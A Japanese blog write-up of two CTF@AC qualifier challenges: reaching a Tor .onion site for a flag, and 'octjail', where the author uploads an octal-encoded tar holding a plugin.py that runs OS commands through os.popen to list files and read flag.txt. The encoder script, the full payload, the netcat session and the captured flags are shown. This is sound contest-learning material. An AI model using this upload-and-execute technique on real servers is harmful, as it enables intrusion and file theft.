CTF@AC - Quals Writeup

Last updated at 2025-09-26Posted at 2025-09-26

CTF@AC - Quals Writeup

2025/9/14 18:00 JST ~ 2025/9/16 18:00 JSTの間に開催されたCTF@AC - Qualsに挑戦しました
今回は1人チームで参加して、いくつかの問題に挑戦しました。
その中で自分が解答できた問題のWriteupを備忘録的に残します

misc: onion1

100pt

I hope this won't make me cry!

2ujjzkrfk4ls4r6vbvvkpn5nyouimcw5hjarezbznvsowfjzup7otdad.onion

.onion で終わるドメインがどこで利用されているか、どのようにアクセスできるかを知っていれば解ける問題
.onionドメインはTorブラウザでアクセス可能
- Tor自体が The Onion Routerの頭文字ということを知っているとよりピンとくるかも
Torブラウザでアクセスした先にフラグが記載されている

flagは以下

ctf{fc5b4974d9c262a40810686f06dc5525b046a810ad3f8cd20d62f4d2f6379dbd}

misc: octjail

100pt
nc先で動作しているmain.pyのコードが与えられる
独力では解けなかったので、chatGPTの力を借りてどうにか解けた

We only like octal around here!

Docker Container Information:
nc ctf.ac.upt.ro ****

netcat

$ nc ctf.ac.upt.ro 9135

Send octal
invalid: only octal digits 0-7

ncを実行後、入力状態になり入力を受け取る様子

main.py

#!/usr/bin/env python3

import io, os, re, sys, tarfile, importlib.util, signal

OCTAL_RE = re.compile(r'^[0-7]+$')

def to_bytes_from_octal_triplets(s: str) -> bytes:
    if not OCTAL_RE.fullmatch(s):
        sys.exit("invalid: only octal digits 0-7")
    if len(s) % 3 != 0:
        sys.exit("invalid: length must be multiple of 3")
    if len(s) > 300000:
        sys.exit("too long")
    return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))

def safe_extract(tf: tarfile.TarFile, path: str):
    def ok(m: tarfile.TarInfo):
        name = m.name
        return not (name.startswith("/") or ".." in name)
    for m in tf.getmembers():
        if ok(m):
            tf.extract(m, path)

def load_and_run_plugin():
    for candidate in ("uploads/plugin.py", "plugin.py"):
        if os.path.isfile(candidate):
            spec = importlib.util.spec_from_file_location("plugin", candidate)
            mod = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(mod)
            if hasattr(mod, "run"):
                return mod.run()
            break
    print("No plugin found.")

def timeout(*_): sys.exit("timeout")
signal.signal(signal.SIGALRM, timeout)
signal.alarm(6)

print("Send octal")
data = sys.stdin.readline().strip()
blob = to_bytes_from_octal_triplets(data)

bio = io.BytesIO(blob)
try:
    with tarfile.open(fileobj=bio, mode="r:*") as tf:
        os.makedirs("uploads", exist_ok=True)
        safe_extract(tf, "uploads")
except Exception as e:
    sys.exit(f"bad archive: {e}")

load_and_run_plugin()

def timeoutから実行される
入力した文字列をdataで受け取り、to_bytes_from_octal_triplets(data)に渡す
blob = Binary Large Objectの略なので、つまりバイナリデータを入力として受け取りたいことがわかった
Binaryとしては渡すのはtar形式のファイルデータということがわかった
tarの中にはuploadsファイルが必要で safe_extract(tf, "uploads")で取得している
最終的に "load_and_run_plugin()"で実行

def to_bytes_from_octal_triplets(data)

OCTAL_RE = re.compile(r'^[0-7]+$')

def to_bytes_from_octal_triplets(s: str) -> bytes:
    if not OCTAL_RE.fullmatch(s):
        sys.exit("invalid: only octal digits 0-7")
    if len(s) % 3 != 0:
        sys.exit("invalid: length must be multiple of 3")
    if len(s) > 300000:
        sys.exit("too long")
    return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))

直訳すると「8進数の3桁からbytecへ」
つまり、入力は8進数のBinary形式であることが推測される

処理詳細

OCTAL_RE.fullmatch(s) で正規表現の0-7までの数字のみで構成されているかをチェック
len(s) % 3 != 0で入力文字列全体が3の倍数になっているかをチェック
len(s) > 300000でバイトサイズのチェック
- 3文字を1byteにするので100,000byte以下であること
return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))
- 上記の条件がクリアできれば、3文字ずつbyte変換する
  - iは3個ずつ増加
- int(s[i:i+3], 8)
  - [i:i+3] で3文字ずつ取得して8基数で整数に変換
- bytes() でバイトに変換
- 例：int('160', 8) -> 1*8^2 + 6*8 + 0 = 112(10進数)
  - 112(10進数) は16進数に直すと 0x70
  - bytes(0x70) -> b'\x70' -> 'p'

def safe_extract(tf: tarfile.TarFile, path: str):

def safe_extract(tf: tarfile.TarFile, path: str):
    def ok(m: tarfile.TarInfo):
        name = m.name
        return not (name.startswith("/") or ".." in name)
    for m in tf.getmembers():
        if ok(m):
            tf.extract(m, path)

terファイル内にパストラバーサル対策として/, ..などのファイル名がある場合は弾く
問題ない場合はTarFile.extract(m, path) でpathで指定されたディレクトリにtarfileの内容を展開する

処理詳細

def ok(m: tarfile.TarInfo) で m に渡されたファイルのファイル名に/, ..が含まれていないかをチェック
for m in tf.getmembers() でtarfile内のファイルを1つずつ取り出す

def load_and_run_plugin()

def load_and_run_plugin():
    for candidate in ("uploads/plugin.py", "plugin.py"):
        if os.path.isfile(candidate):
            spec = importlib.util.spec_from_file_location("plugin", candidate)
            mod = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(mod)
            if hasattr(mod, "run"):
                return mod.run()
            break
    print("No plugin found.")

for candidate in ("uploads/plugin.py", "plugin.py"):
- uploads/plugin.pyかplugin.pyのみを実行対象に絞る
os.path.isfile(candidate):
- candidateが通常のファイルかどうかをチェック(ディレクトリなら弾かれる)
spec = importlib.util.spec_from_file_location("plugin", candidate)
- candidateをモジュールとして読み込むための仕様を作成
mod = importlib.util.module_from_spec(spec)
- candidateをロード
if hasattr(mod, "run"): return mod.run()
- candidateで読み込んだplugin.py内にdef run()が定義されていれば、それを呼び出す

全体の条件

tarfileを8進数で入力に渡す
tarfileの中にはplugin.pyというファイルがある場合は実行する
plugin.pyにrun関数が定義されていれば、run関数を実行する

つまり、plugin.pyのrun関数に記載したプログラムは実行されるのでOSコマンドを実行させることが可能

Answer

以下のプログラムを用意

# plugin.py
def run():
    import os
    print(os.popen("cat ./flag.txt").read())

os.popen().read()でOSコマンドを実行

$ tar -cf plugin.tar plugin.py

上記の条件を満たしたtarfileであるplugin.tarを作成

with open("plugin.tar", "rb") as f:
    b = f.read()
print(''.join(f"{byte:03o}" for byte in b))

plugin.tarをbyte列に変更し、8進数で出力するプログラムを作成

$ python encode.py

実行結果

$ python encode.py
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ncでbyte文字列を入力に渡す

 $ nc ctf.ac.upt.ro ****
16015416514715115605616017100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006006006006006606406400006006006006106706506000006006006006106706506000006006006006006006006006006106106200006106506006606506406406506306106700006006106206106106200004006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016516316414116204004000015016705515515115600000000000000000000000000000000000000000000000000000000000000000000000000000015016705515515115600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004304016015416514715115605616017101214414514604016216515605005107201204004004004015115516015716216404015716301204004004004016016215115616405015716305616015716014515605004215416304005515414104205105616214514114405005105101200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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/app/server_hard.py:22: DeprecationWarning: Python 3.14 will, by default, filter extracted tar archives and reject files or modify their metadata. Use the filter argument to control this behavior.
  tf.extract(m, path)
Send octal
total 8
drwxr-xr-x    1 ctf      ctf             21 Sep 14 10:14 .
drwxr-xr-x    1 root     root            17 Sep 26 08:12 ..
-r--r--r--    1 ctf      ctf             70 Sep 14 10:14 flag.txt
-rw-r--r--    1 ctf      ctf           1548 Sep 14 06:29 server_hard.py
drwxrwxrwx    1 ctf      ctf             42 Sep 26 08:20 uploads

flagがあることがわかったので、plugin.pyのOSコマンドをcat flag.txtに変えて実行するとフラグが取れる

$ nc ctf.ac.upt.ro ****
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/app/server_hard.py:22: DeprecationWarning: Python 3.14 will, by default, filter extracted tar archives and reject files or modify their metadata. Use the filter argument to control this behavior.
  tf.extract(m, path)
Send octal
ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}

flagは以下
ctf{0331641fadb35abb1eb5a9640fa6156798cba4538148ceb863dfb1821ac69000}

You get articles that match your needs
You can efficiently read back useful information
You can use dark theme

What you can do with signing up